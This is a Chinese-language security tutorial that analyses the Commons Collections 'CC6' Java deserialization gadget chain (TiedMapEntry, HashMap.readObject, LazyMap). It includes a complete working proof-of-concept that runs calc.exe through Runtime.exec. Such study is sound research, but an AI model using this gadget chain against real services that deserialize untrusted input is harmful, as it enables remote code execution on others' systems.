文章目录
- 【java安全】CommonsCollections6
- **测试环境**
- 前言
- 分析
- TiedMapEntry
- 注意点一
- 注意点二
- POC
- 调用栈
【java安全】CommonsCollections6
测试环境
3.1-3.2.1,jdk1.7,1.8
前言
之前我们分析了CommonsCollections1 LazyMap
利用链,但是在java 8u71
以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler
类的readObject()
等方法的逻辑改变了:
// jdk1.8
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
我们需要找一个绕过高版本的利用链CommonsCollections6
分析
LazyMap
的get()
方法我们不能继续使用CommonsCollections1
中通过使用动态代理的方式调用AnnotationInvocationHandler
的invoke()
方法,从而触发LazyMap#get()
方法了
我们需要了解到一个新的类:
TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}
...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
这里重点关注TiedMapEntry
类的hashCode()
方法,他会调用自身的getValue()
方法,而this.map
变量可以传入LazyMap
类型,于是就触发了get()
方法
但是应该从哪里调用TiedMapEntry#hashCode()
方法呢?
我们可以使用HashMap
HashMap#readObject()
方法会对key
使用hash()
方法,然后hash方法会对key使用hashCode()
方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
...
putVal(hash(key), key, value, false, false);
}
}
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
于是我们可以构造一个HashMap
然后使用put方法将TiedMapEntry
添加进去:
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
注意点一
需要注意,我们在使用HashMap#put()
方法的时候,会触发hash()
方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap
中添加一个假的ChainedTransformer
类对象,这样put()
就触发不了RCE了:
Transformer[] fakeTransformers = new Transformer[]{};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);// fake
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
添加完成之后我们通过反射将chainedTransformer
的变量iTransformer
改为真的:
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
总结一下:
我们想要触发LazyMap#get()
方法,可以通过TiedMapEntry#hashCode()
方法,然后TiedMapEntry#hashCode()
方法可以被HashMap#readObject()
中的hash()
调用,完成RCE
我们接下来模拟反序列化,完整代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
// sun.reflect.annotation.AnnotationInvocationHandler
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}
看似以及完美了,但是我们执行一下发现没有弹出计算器
注意点二
上述代码的问题在这:
hashMap.put(tiedMapEntry, "value");
虽然tiedMapEntry
中的LazyMap
的值chainedTransformer
以及换为空的,但是还是会执行hash()
方法
这导致方框中的添加为flase,不进入if中,导致不会执行chainedTransformer#transform()
方法
解决方法:
我们在put()
后使用Map#clear()
方法,将LazyMap
中的值清空
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
// sun.reflect.annotation.AnnotationInvocationHandler
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
//清空由于 hashMap.put 对 LazyMap 造成的影响
outerMap.clear();
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}
调用栈
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->HashMap.readObject()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………